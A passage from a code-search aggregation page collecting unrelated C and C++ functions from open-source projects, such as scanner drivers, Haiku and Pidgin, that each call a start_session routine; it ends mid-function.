コード例 #1
0
ファイル: pixma_imageclass.c プロジェクト: Ichoran/lifespan
static int
iclass_scan (pixma_t * s)
{
  int error, n;
  iclass_t *mf = (iclass_t *) s->subdriver;
  uint8_t *buf, ignore;
  unsigned buf_len, ignore2;

  if (mf->state != state_idle)
    return PIXMA_EBUSY;

  /* clear interrupt packets buffer */
  while (handle_interrupt (s, 0) > 0)
    {
    }

  mf->raw_width = ALIGN_SUP (s->param->w, 32);
  PDBG (pixma_dbg (3, "raw_width = %u\n", mf->raw_width));

  n = IMAGE_BLOCK_SIZE / s->param->line_size + 1;
  buf_len = (n + 1) * s->param->line_size + IMAGE_BLOCK_SIZE;
  if (buf_len > mf->buf_len)
    {
      buf = (uint8_t *) realloc (mf->buf, buf_len);
      if (!buf)
	return PIXMA_ENOMEM;
      mf->buf = buf;
      mf->buf_len = buf_len;
    }
  mf->lineptr = mf->buf;
  mf->blkptr = mf->buf + n * s->param->line_size;
  mf->blk_len = 0;

  error = step1 (s);
  if (error >= 0 && (s->param->adf_pageid == 0 || mf->generation == 1))
    { /* single sheet or first sheet from ADF */
      PDBG (pixma_dbg (3, "*iclass_scan***** start scanning *****\n"));
      error = start_session (s);
      if (error >= 0)
        mf->state = state_scanning;
      if (error >= 0)
        error = select_source (s);
    }
  else if (error >= 0)
    { /* next sheet from ADF */
      PDBG (pixma_dbg (3, "*iclass_scan***** scan next sheet from ADF  *****\n"));
      mf->state = state_scanning;
    }
  if (error >= 0)
    error = send_scan_param (s);
  if (error >= 0)
    error = request_image_block (s, 0, &ignore, &ignore2, &ignore, &ignore2);
  if (error < 0)
    {
      iclass_finish_scan (s);
      return error;
    }
  mf->last_block = 0;
  return 0;
}
コード例 #2
0
ファイル: prompt_session.c プロジェクト: ubuntu-touch-leo/mir
void helper(const char* server)
{
    MirDemoState mcd;
    mcd.connection = 0;
    mcd.surface = 0;
    mcd.prompt_session = 0;
    mcd.state = mir_prompt_session_state_stopped;
    mcd.client_fd_count = 0;
    start_session(server, "helper", &mcd);

    // We create a prompt session
    mcd.prompt_session = mir_connection_create_prompt_session_sync(mcd.connection, getpid(), prompt_session_event_callback, &mcd);
    assert(mcd.prompt_session != NULL);

    assert(mcd.state == mir_prompt_session_state_started);
    puts("helper: Started prompt session");

    mir_wait_for(mir_prompt_session_new_fds_for_prompt_providers(mcd.prompt_session, 1, client_fd_callback, &mcd));
    assert(mcd.client_fd_count == 1);
    puts("helper: Added waiting FD");

    printf("helper: Starting child application 'mir_demo_client_basic' with fd://%d\n", mcd.client_fds[0]);
    mcd.child_pid = fork();

    if (mcd.child_pid == 0)
    {
        char buffer[128] = {0};
        sprintf(buffer, "fd://%d", mcd.client_fds[0]);

        char* args[4];
        args[0] = "mir_demo_client_basic";
        args[1] = "-m";
        args[2] = &buffer[0];
        args[3] = NULL;

        errno = 0;
        execvp("mir_demo_client_basic", args);
        return;
    }

    int status;
    printf("helper: Waiting on child application: %d\n", mcd.child_pid);
    waitpid(mcd.child_pid, &status, 0);

    if (mcd.state == mir_prompt_session_state_started)
    {
        mir_prompt_session_release_sync(mcd.prompt_session);
        mcd.prompt_session = NULL;
        puts("helper: Stopped prompt session");
    }
    else
    {
        puts("helper: Prompt session stopped by server");
    }
    puts("helper: Done");

    stop_session(&mcd, "helper");
}
コード例 #3
0
ファイル: client.cpp プロジェクト: jiachengpan/dht-crawler
int main(int argc, char* argv[]) {
  if (argc < 2) {
    cout << "usage: client config_file.ini" << endl;
    return 1;
  }

  auto collector = createCollector(argv[1]);

  collector->start_session();
  collector->start_work();
  return 0;
}
コード例 #4
0
ファイル: launch_speedup.cpp プロジェクト: DonCN/haiku
status_t
SessionGetter::New(const char *name, dev_t device, ino_t node,
	Session **_session)
{
	Thread *thread = thread_get_current_thread();
	fSession = start_session(thread->team->id, device, node, name);

	if (fSession != NULL) {
		*_session = fSession;
		return B_OK;
	}

	return B_ERROR;
}
コード例 #5
0
ファイル: oinit.c プロジェクト: edgar-pek/PerspicuOS
int
run_single()
{
    int i;
    pid_t pid,wpid;
    static int sigs[2]= {SIGTERM,SIGKILL};

    syslog(LOG_EMERG,"*** Starting single-user mode ***");
    /* Kill all existing sessions */
    syslog(LOG_EMERG,"Killing all existing sessions...");
    for(i=0; i<MAX_CONS; i++) {
        kill(ttys[i].pid,SIGHUP);
        ttys[i].pid=0;
    }
    for(i=0; i<2; i++) {
        if(kill(-1,sigs[i])==-1 && errno==ESRCH) break;
        clang=0;
        alarm(10);
        do {
            pid=waitpid(-1,(int *)0,WUNTRACED);
            if(errno==EINTR) continue;
            else break;
        } while (clang==0);
    }
    if(errno!=ECHILD) {
        syslog(LOG_EMERG,"Some processes would not die; ps -axl advised");
    }
    /* Single-user */
    switch(pid=fork()) {
    case 0:
        start_session(0,0,NULL);
        break;
    case -1:
        printf("%s: %s\n",progname,strerror(errno));
        printf("The system is seriously hosed. I'm dying...\n");
        transition=DEATH;
        return(-1);
        break;
    default:
        do {
            wpid=waitpid(pid,(int *)0,WUNTRACED);
        } while(wpid!=pid && transition==SINGLE);
        if(transition!=DEATH) {
            prevtrans=transition;
            transition=MULTI;
        }
        break;
    }
    return(0);
}
コード例 #6
0
void do_something()
{
  // This Boolean test yields true or false.
  const bool session_is_ok = (valid() && login());

  // This tests if (session_is_ok == true).
  if(session_is_ok)
  {
    std::cout << "session_is_ok = " << std::boolalpha << session_is_ok << std::endl;

    start_session();

    std::cout << "start_session()" << std::endl;
  }
}
コード例 #7
0
ファイル: client.c プロジェクト: vikaskumar11/gtsdfs
int main(int argc, char *argv[])
{
     init_OpenSSL(  );
     seed_prng(  );

     if(argc < 4) 
     {
	  fprintf(stderr, "usage: ./client start-session host port\n");
	  exit(1);
     }
     if(0 == strcmp(argv[1], "start-session"))
	  start_session(argv[2], argv[3]);

     return 0;
}
コード例 #8
0
ファイル: pixma_mp730.c プロジェクト: DspaceSPI/SPIScan
static int
mp730_scan (pixma_t * s)
{
  int error, n;
  mp730_t *mp = (mp730_t *) s->subdriver;
  uint8_t *buf;

  if (mp->state != state_idle)
    return PIXMA_EBUSY;

  /* clear interrupt packets buffer */
  while (handle_interrupt (s, 0) > 0)
    {
    }

  mp->raw_width = calc_raw_width (s, s->param);
  PDBG (pixma_dbg (3, "raw_width = %u\n", mp->raw_width));

  n = IMAGE_BLOCK_SIZE / s->param->line_size + 1;
  buf = (uint8_t *) malloc ((n + 1) * s->param->line_size + IMAGE_BLOCK_SIZE);
  if (!buf)
    return PIXMA_ENOMEM;
  mp->buf = buf;
  mp->lbuf = buf;
  mp->imgbuf = buf + n * s->param->line_size;
  mp->imgbuf_len = 0;

  error = step1 (s);
  if (error >= 0)
    error = start_session (s);
  if (error >= 0)
    mp->state = state_scanning;
  if (error >= 0)
    error = select_source (s);
  if (error >= 0)
    error = send_scan_param (s);
  if (error < 0)
    {
      mp730_finish_scan (s);
      return error;
    }
  mp->last_block = 0;
  return 0;
}
コード例 #9
0
ファイル: launch_speedup.cpp プロジェクト: DonCN/haiku
static status_t
init()
{
	sTeamHash = hash_init(64, Session::NextOffset(), &team_compare, &team_hash);
	if (sTeamHash == NULL)
		return B_NO_MEMORY;

	status_t status;

	sPrefetchHash = hash_init(64, Session::NextOffset(), &prefetch_compare, &prefetch_hash);
	if (sPrefetchHash == NULL) {
		status = B_NO_MEMORY;
		goto err1;
	}

	recursive_lock_init(&sLock, "launch speedup");

	// register kernel syscalls
	if (register_generic_syscall(LAUNCH_SPEEDUP_SYSCALLS,
			launch_speedup_control, 1, 0) != B_OK) {
		status = B_ERROR;
		goto err3;
	}

	// read in prefetch knowledge base

	mkdir("/etc/launch_cache", 0755);
	load_prefetch_data();

	// start boot session

	sMainSession = start_session(-1, -1, -1, "system boot");
	sMainSession->Unlock();
	dprintf("START BOOT %Ld\n", system_time());
	return B_OK;

err3:
	recursive_lock_destroy(&sLock);
	hash_uninit(sPrefetchHash);
err1:
	hash_uninit(sTeamHash);
	return status;
}
コード例 #10
0
ファイル: launch_speedup.cpp プロジェクト: DonCN/haiku
static status_t
launch_speedup_control(const char *subsystem, uint32 function,
	void *buffer, size_t bufferSize)
{
	switch (function) {
		case LAUNCH_SPEEDUP_START_SESSION:
		{
			char name[B_OS_NAME_LENGTH];
			if (!IS_USER_ADDRESS(buffer)
				|| user_strlcpy(name, (const char *)buffer, B_OS_NAME_LENGTH) < B_OK)
				return B_BAD_ADDRESS;

			if (isdigit(name[0]) || name[0] == '.')
				return B_BAD_VALUE;

			sMainSession = start_session(-1, -1, -1, name, 60);
			sMainSession->Unlock();
			return B_OK;
		}

		case LAUNCH_SPEEDUP_STOP_SESSION:
		{
			char name[B_OS_NAME_LENGTH];
			if (!IS_USER_ADDRESS(buffer)
				|| user_strlcpy(name, (const char *)buffer, B_OS_NAME_LENGTH) < B_OK)
				return B_BAD_ADDRESS;

			// ToDo: this check is not thread-safe
			if (sMainSession == NULL || strcmp(sMainSession->Name(), name))
				return B_BAD_VALUE;

			if (!strcmp(name, "system boot"))
				dprintf("STOP BOOT %Ld\n", system_time());

			sMainSession->Lock();
			stop_session(sMainSession);
			sMainSession = NULL;
			return B_OK;
		}
	}

	return B_BAD_VALUE;
}
コード例 #11
0
static void music_button_toggled (GtkWidget *widget, gpointer data)
{
	MMConversation *mmconv = mmconv_from_conv(((MMConversation *) data)->conv);
	if (gtk_toggle_button_get_active (GTK_TOGGLE_BUTTON (widget))) 
    {
		if (((MMConversation *) data)->requested)
		{
			start_session(mmconv);
			send_request_confirmed(mmconv);
		}
		else
		{
			((MMConversation *) data)->originator = TRUE;
			send_request((MMConversation *) data);
		}
    } else {
		session_end((MMConversation *)data);
    }
}
コード例 #12
0
void main_telnet (void *data)
{
	tcp_socket_t *lsock, *sock;
	unsigned short serv_port = 23;

	lsock = tcp_listen (ip, 0, serv_port);
	if (! lsock) {
		debug_printf ("Error on listen, aborted\n");
		uos_halt (1);
	}
	for (;;) {
		sock = tcp_accept (lsock);
		if (! sock) {
			debug_printf ("Error on accept\n");
			continue;
		}
		start_session (sock);
	}
}
コード例 #13
0
ファイル: sender.c プロジェクト: Arseny-N/Android2Mouse
int main(int argc, char *argv[])
{
	char *line;

	if(!argv[1]) {
		error("baddr?");
		exit(EXIT_FAILURE);		
	}
	
	if(start_session(argv[1])==-1) {
		error("failed to start session %s", argv[1]);
		exit(EXIT_FAILURE);
	}
	int D;
	info("GetLine");
	while(getline(&line, &D, stdin) != -1) {
		int x, y, b;
		
		x = y = b = 0;
		switch(*line) {
			case 'x': x = strtol(&line[1], NULL, 0); break;
			case 'y': y = strtol(&line[1], NULL, 0); break;
			case 'b': b = strtol(&line[1], NULL, 0); break;
			case 's': goto out;
		}
		
		info("Rep: %d %d %d",x,y,b);
		
		if(send_mouse_report(x,y,b,0) == -1) {
			error("Failed to send a report");
			exit(EXIT_FAILURE);
		}
		
	}
	info("Out");
out:
	if(end_session()) {
		error("Failed to end session");
		exit(EXIT_FAILURE);
	}
	exit(EXIT_SUCCESS);
}
コード例 #14
0
ファイル: sender.c プロジェクト: Arseny-N/Android2Mouse
int main(int argc, char *argv[])
{
	char *line;
	if(!argv[1]) {
		error("baddr?");
		exit(EXIT_FAILURE);		
	}
	
	if(start_session(argv[1]) == -1) {
		error("failed to start session %s", argv[1]);
		exit(EXIT_FAILURE);
	}
	while(getline(&line, NULL, stdin) != -1) {
		int x, y, b;
		
		x = y = b = 0;
		switch(*line) {
			case 'x':
				x = strtol(&line[1], NULL, 0);
				break;
			case 'y':
				y = strtol(&line[1], NULL, 0);
				break;
			case 'b':
				b = strtol(&line[1], NULL, 0);
				break;
			case 's':
				goto out;
		}
		
	}
out:
	if(end_session()) {
		error("Failed to end session");
		exit(EXIT_FAILURE);
	}
	exit(EXIT_SUCCESS);
}
コード例 #15
0
int
main(int argc, char *argv[])
{
	int ret = 1, i;
	dldev_t dev;
	note_t db;
	u8 *data;
	u16 len;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	while((i = getopt(argc, argv, "hd:u:e:")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'u':
			unused_recs = atoi(optarg);
			if(unused_recs < 0)
				unused_recs = 0;
			break;
		case 'e':
			extra_msg_len = atoi(optarg);
			if(extra_msg_len < 0)
				extra_msg_len = 0;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

	set_note_unused_recs(unused_recs);
	set_note_extra_len(extra_msg_len);

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/
#ifdef DEBUG
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		printf("%2d: %d%d%d%d%d%d%d%d %02x %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.mode_name,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,
				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}
#endif
/******************************************************************************/

	if(read_note_mem(&dev, &db)){
		ERROR("read_note_mem");
		goto end;
	}

	create_note(&db, &data, &len);
	if(load_add(&dev, find_app(&dev, "NOTE"), data)){
		ERROR("load_add");
		goto end;
	}
	free(data);

	print_note(&db, stdout);
	free_note(&db);

/******************************************************************************/
end:
	if(end_session(&dev)){
		ERROR("end_session");
		goto exit;
	}

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #16
0
int
main(int argc, char *argv[])
{
	int ret = 1, istty, i, idx;
	char *msg = NULL, *timer = NULL, *at_end = NULL, *halfway = NULL;
	dldev_t dev;
	tymer_t db;
	u8 *data;
	u16 len;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	istty = isatty(0);

	i = strlen(argv[0]) - 1;
	for(; i >= 0 && argv[0][i] != '/'; i--);
	i++;
	if(strstr(argv[0] + i, "interval")){
		set_timer(POR_INTERVAL);
		is_countdn = 0;
	}

	while((i = getopt(argc, argv, "hd:")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	BEGIN_OPT()
		OPT("msg", msg)
		OPT("timer", timer)
		OPT("at_end", at_end)
		OPT("halfway", halfway)
	END_OPT()

	/* allows the user to change only at_end in interval timer */
	if(istty && ((!msg || !timer) && (is_countdn || !at_end)))
		usage();

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/
#ifdef DEBUG
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		printf("%2d: %d%d%d%d%d%d%d%d %02x %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.mode_name,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,
				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}
#endif
/******************************************************************************/

	if((idx = find_app(&dev, uapp_name)) < 0){
		ERROR("%s application not found", uapp_name);
		goto end;
	}

	if(dump_add(&dev, idx, &data, &len)){
		ERROR("dump_add");
		goto end;
	}
	read_timer(&db, data);
	free(data);

	if(!istty)
		add_timer_file(&db, stdin);

	if(msg && timer){
		char buf[BUFSIZ];
		timer_data_t rec;

		sprintf(buf, "%s\t%s\t%s%s", msg, timer,
			(at_end ? at_end : "stop"),
			(halfway && strcmp(halfway, "no") ? "\thalfway" : ""));
		if(read_timer_line(&rec, buf))
			fprintf(stderr, "add_%s: format error!\n", lapp_name);
		else
		if(find_timer(&db, &rec) < 0)
			add_timer(&db, &rec);
	}
	if(!is_countdn && at_end){
		int i;

		for(i = 0; i < 3 && strcmp(at_end, timer_at_end[i]); i++);
		if(i < 3){
			set_timer_at_end(i);
			update_timer_at_end(&db);
		}
	}

	create_timer(&db, &data, &len);
	if(load_add(&dev, idx, data)){
		ERROR("load_add");
		goto end;
	}
	free(data);

	print_timer(&db, stdout);
	free_timer(&db);

/******************************************************************************/
end:
	if(end_session(&dev)){
		ERROR("end_session");
		goto exit;
	}

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #17
0
int
main(int argc, char *argv[])
{
	int ret = 1, i;
	char *tz[3], *date = NULL, *hr24 = NULL, *week_no = NULL, *dst = NULL,
	     *euro = NULL, *observe_dst = NULL, *adjust = NULL;
	u8 date_format_;
	time_t dsec[3], adjust_sec = 0;
	time_t tloc, tloc2;
	struct tm *tm;
	dldev_t dev;
	tod_t db;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	while((i = getopt(argc, argv, "hd:")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	memset(tz, 0, sizeof(tz));
	BEGIN_OPT()
		OPT("tz1", tz[0])
		OPT("tz2", tz[1])
		OPT("tz3", tz[2])
		OPT("date", date)
		OPT("24hr", hr24)
		OPT("week_no", week_no)
		OPT("dst", dst)
		OPT("euro", euro)
		OPT("observe_dst", observe_dst)
		/* non-standard options */
		OPT("adjust", adjust)
	END_OPT()

	if(date){
		for(i = 0; i < 3 && strcmp(date, date_format[i]); i++);
		if(i == 3){
			fprintf(stderr, "%s: format error!\n", date);
			usage();
		}
		date_format_ = i;
	}else
		date_format_ = mdy;

	for(i = 0; i < 3; i++){
		dsec[i] = 0;
		if(tz[i] && tz[i][0]){
			char buf[10];

			strncpy(buf, tz[i], 9);
			buf[9] = 0;
			if(strlen(buf) != 9 ||
					(buf[3] != '+' && buf[3] != '-')){
				fprintf(stderr, "%s: format error!\n", tz[i]);
				usage();
			}
			buf[6] = 0;
			dsec[i] = atoi(buf+3) * 3600 + atoi(buf+7) * 60;
		}
	}
	if(adjust && adjust[0]){
		char buf[10];

		strncpy(buf, adjust, 9);
		buf[9] = 0;
		if(strlen(buf) != 9 || (buf[0] != '+' && buf[0] != '-')){
			fprintf(stderr, "%s: format error!\n", adjust);
			usage();
		}
		buf[3] = buf[6] = 0;
		adjust_sec = atoi(buf) * 3600 + atoi(buf+4) * 60 + atoi(buf+7);
	}

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/
#ifdef DEBUG
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		printf("%2d: %d%d%d%d%d%d%d%d %02x %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.mode_name,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,
				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}
#endif
/******************************************************************************/

	time(&tloc);

	memset(&db, 0, sizeof(tod_t));

	for(i = 0; i < 3; i++){
		db.tod[i].primary = !i;	/* user */

		db.tod[i].update_tz_id = 1; /* -> tz_id */
		db.tod[i].update_display = 1; /* -> everything else? */
		db.tod[i].update_tz_name = 1; /* -> tz_name */
		db.tod[i].update_hms = 1; /* -> hour/minute/second */
		db.tod[i].update_mdy = 1; /* -> year/month/day */

		/* update_display */
		db.tod[i].date_format = date_format_; /* user */
		db.tod[i].hr24_format = (hr24 && strcmp(hr24, "no")); /* user */
		db.tod[i].display_week_no = (week_no && strcmp(week_no, "no"));
			/* user */
		db.tod[i].tz_in_dst = (dst && strcmp(dst, "no")); /* user */
		db.tod[i].euro_format = (euro && strcmp(euro, "no")); /* user */
		db.tod[i].tz_observes_dst =
			(observe_dst && strcmp(observe_dst, "no")); /* user */

		/* set if update_mdy = 1 */
		db.tod[i].tz_entered_set_state = 1;

		/* update_tz_name */
		if(tz[i] && tz[i][0])
			strncpy(db.tod[i].tz_name, tz[i], 3); /* user */
		else
			strncpy(db.tod[i].tz_name, "UTC", 3); /* user */

		/* update_tz_id */
		db.tod[i].tz_id = 0; /* used for WorldTime WristApp */

		tloc2 = tloc + dsec[i] + adjust_sec;
		tm = gmtime(&tloc2);

		/* update_hms */
		db.tod[i].second = tm->tm_sec; /* user */
		db.tod[i].minute = tm->tm_min; /* user */
		db.tod[i].hour = tm->tm_hour; /* user */

		/* update_mdy */
		db.tod[i].day = tm->tm_mday; /* user */
		db.tod[i].month = tm->tm_mon + 1; /* user */
		db.tod[i].year = tm->tm_year + 1900; /* user */
	}

	if(update_tod(&dev, &db)){
		ERROR("update_tod");
		goto end;
	}

/******************************************************************************/
end:
	if(end_session(&dev)){
		ERROR("end_session");
		goto exit;
	}

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #18
0
ファイル: wmp4client.cpp プロジェクト: BluePandaLi/mpeg4ip
int main (int argc, char **argv)
{
	SDL_sem *master_sem;
	CClientProcess proc;
	CMsgQueue master_queue;

	argv++;
	argc--;
	int deb = 0;
	if (*argv[0] == '-') {
		argv++;
		argc--;
		deb = 1;
	}
	
	open_output("wmp4player.log");
	if (proc.enable_communication(deb) < 0) {
		printf("Could not enable communications\n");
		Sleep(10 * 1000);
		close_output();
		return -1;
	}
	initialize_plugins(&config);
	config.InitializeIndexes();
	config.ReadVariablesFromRegistry("Software\\Mpeg4ip", "Config");

	psptr = NULL;
	master_sem = NULL;
	if (*argv == NULL) {
		proc.initial_response(-1, psptr,"No argument to process");
	} else {
		rtsp_set_error_func(library_message);
		rtp_set_error_msg_func(library_message);
		sdp_set_error_func(library_message);
		http_set_error_func(library_message);
	
		master_sem = SDL_CreateSemaphore(0);
			
		psptr = start_session(&master_queue, 
							  master_sem, 
							  NULL,
							  *argv,
							  NULL,
							  config.get_config_value(CONFIG_VOLUME),
			                  100, 
			                  100,
			                  screen_size);
		if (psptr == NULL) {
			proc.initial_response(-1, NULL, NULL);
		} else {
		proc.initial_response(0, psptr, psptr->get_message());
		}
	}
	// Either way - we need to loop and wait until we get the
	// terminate message
	int running = 0;
	int state = 0;
	while (running == 0) {
		CMsg *msg;
		running = proc.receive_messages(psptr);
		while ((msg = master_queue.get_message()) != NULL) {
			switch (msg->get_value()) {
			case MSG_SESSION_FINISHED:
				proc.send_message(GUI_MSG_SESSION_FINISHED);
				break;
			case MSG_SESSION_WARNING:
				proc.send_string(GUI_MSG_SESSION_WARNING, psptr->get_message());
				break;
			case MSG_SESSION_ERROR:
				player_error_message("error is \"%s\"", psptr->get_message());
				proc.send_string(GUI_MSG_SESSION_ERROR, psptr->get_message());
				break;
			case MSG_RECEIVED_QUIT:
				proc.send_message(GUI_MSG_RECEIVED_QUIT);
				break;
			case MSG_SDL_KEY_EVENT:
				uint32_t len;
				void *sdl_event = (void *)msg->get_message(len);
				proc.send_message(GUI_MSG_SDL_KEY,
								  sdl_event,
								  len);
				break;
			}
			delete msg;
		}
		if (psptr != NULL) state = psptr->sync_thread(state);
	}
	if (psptr != NULL) {
		delete psptr;
	}
	if (master_sem != NULL) {
		SDL_DestroySemaphore(master_sem);
	}
	  // remove invalid global ports
	

	config.WriteVariablesToRegistry("Software\\Mpeg4ip", "Config");
	close_plugins();
	close_output();
	return 0;
}
コード例 #19
0
static gboolean
intercept_received(PurpleAccount *account, char **sender, char **message, PurpleConversation *conv, int *flags)
{
	MMConversation *mmconv;
	
	if (conv == NULL) {
		/* XXX: This is just to avoid a crash (#2726).
		 *      We may want to create the conversation instead of returning from here
		 */
		return FALSE;
	}

	mmconv = mmconv_from_conv(conv);
	
	purple_debug_misc("purple-musicmessaging", "Intercepted: %s\n", *message);
	if (strstr(*message, MUSICMESSAGING_PREFIX))
	{
		char *parsed_message = strtok(strstr(*message, MUSICMESSAGING_PREFIX), "<");
		purple_debug_misc("purple-musicmessaging", "Received an MM Message: %s\n", parsed_message);
				
		if (mmconv->started)
		{
			if (strstr(parsed_message, "request"))
			{
				if (mmconv->originator)
				{
					int session = mmconv_from_conv_loc(conv);
					char *id = (mmconv->conv)->name;
					char *command;
					char *parameters;
					
					purple_debug_misc("purple-musicmessaging", "Sending request to gscore.\n");
					
					/* Get past the first two terms - '##MM##' and 'request' */
					strtok(parsed_message, " "); /* '##MM##' */
					strtok(NULL, " "); /* 'request' */
					
					command = strtok(NULL, " ");
					parameters = strtok(NULL, "#");
					
					send_change_request (session, id, command, parameters);
					
				}
			} else if (strstr(parsed_message, "confirm"))
			{
				if (!mmconv->originator)
				{
					int session = mmconv_from_conv_loc(conv);
					char *command;
					char *parameters;
					
					purple_debug_misc("purple-musicmessaging", "Sending confirmation to gscore.\n");
					
					/* Get past the first two terms - '##MM##' and 'confirm' */
					strtok(parsed_message, " "); /* '##MM##' */
					strtok(NULL, " "); /* 'confirm' */
					
					command = strtok(NULL, " ");
					parameters = strtok(NULL, "#");
					
					send_change_confirmed (session, command, parameters);
				}
			} else if (strstr(parsed_message, "failed"))
			{
				char *id;
				char *command;
				
				/* Get past the first two terms - '##MM##' and 'confirm' */
				strtok(parsed_message, " "); /* '##MM##' */
				strtok(NULL, " "); /* 'failed' */
				
				id = strtok(NULL, " ");
				command = strtok(NULL, " ");
				/* char *parameters = strtok(NULL, "#"); DONT NEED PARAMETERS */
				
				if ((mmconv->conv)->name == id)
				{
					purple_notify_message(plugin_pointer, PURPLE_NOTIFY_MSG_ERROR, 
							    _("Music Messaging"),
							    _("There was a conflict in running the command:"), command, NULL, NULL);
				}
			}
		}
		
		message = 0;
	}
	else if (strstr(*message, MUSICMESSAGING_START_MSG))
	{
		purple_debug_misc("purple-musicmessaging", "Received MM request.\n");
		if (!(mmconv->originator))
		{
			mmconv->requested = TRUE;
			return FALSE;
		}
		
	}
	else if (strstr(*message, MUSICMESSAGING_CONFIRM_MSG))
	{
		purple_debug_misc("purple-musicmessagin", "Received MM confirm.\n");
		
		if (mmconv->originator)
		{
			start_session(mmconv);
			return FALSE;
		}
	}
	else
	{
		return FALSE;
		/* Do nothing. */
	}
	return TRUE;
}
コード例 #20
0
ファイル: pixma_mp750.c プロジェクト: Ichoran/lifespan
static int
mp750_scan (pixma_t * s)
{
  mp750_t *mp = (mp750_t *) s->subdriver;
  int error;
  uint8_t *buf;
  unsigned size, dpi, spare;

  dpi = s->param->ydpi;
  /* add a stripe shift for 2400dpi */
  mp->stripe_shift = (dpi == 2400) ? 4 : 0;

  if (mp->state != state_idle)
    return PIXMA_EBUSY;

  /* clear interrupt packets buffer */
  while (handle_interrupt (s, 0) > 0)
    {
    }

  /*  if (s->param->channels == 1)
    mp->raw_width = ALIGN_SUP (s->param->w, 12);
  else
    mp->raw_width = ALIGN_SUP (s->param->w, 4);*/

  /* change to use CCD grayscale mode --- why does this give segmentation error at runtime in mp750_check_param? */
  if ((s->param->channels == 3) || (is_ccd_grayscale (s)))
    mp->raw_width = ALIGN_SUP (s->param->w, 4);
  else
    mp->raw_width = ALIGN_SUP (s->param->w, 12);
  /* not sure about MP750, but there is no need for aligning at 12 for the MP760/770, MP780/790 since always use CCD color mode */

  /* modify for stripe shift */
  spare = 2 * calc_component_shifting (s) + 2 * mp->stripe_shift; /* FIXME: or maybe (2*... + 1)? */
  mp->raw_height = s->param->h + spare;
  PDBG (pixma_dbg (3, "raw_width=%u raw_height=%u dpi=%u\n",
		   mp->raw_width, mp->raw_height, dpi));

  /* PDBG (pixma_dbg (4, "line_size=%"PRIu64"\n",s->param->line_size)); */

  mp->line_size = get_cis_ccd_line_size (s); /* scanner hardware line_size multiplied by 3 for CCD grayscale */

  size = 8 + 2 * IMAGE_BLOCK_SIZE + spare * mp->line_size;
  buf = (uint8_t *) malloc (size);
  if (!buf)
    return PIXMA_ENOMEM;
  mp->buf = buf;
  mp->rawimg = buf;
  mp->imgbuf_ofs = spare * mp->line_size;
  mp->imgcol = mp->rawimg + IMAGE_BLOCK_SIZE + 8; /* added to make rgb->gray */
  mp->img = mp->rawimg + IMAGE_BLOCK_SIZE + 8;
  mp->imgbuf_len = IMAGE_BLOCK_SIZE + mp->imgbuf_ofs;
  mp->rawimg_left = 0;
  mp->last_block_size = 0;
  mp->shifted_bytes = -(int) mp->imgbuf_ofs;

  error = step1 (s);
  if (error >= 0)
    error = start_session (s);
  if (error >= 0)
    mp->state = state_warmup;
  if (error >= 0)
    error = select_source (s);
  if (error >= 0)
    error = send_scan_param (s);
  if (error < 0)
    {
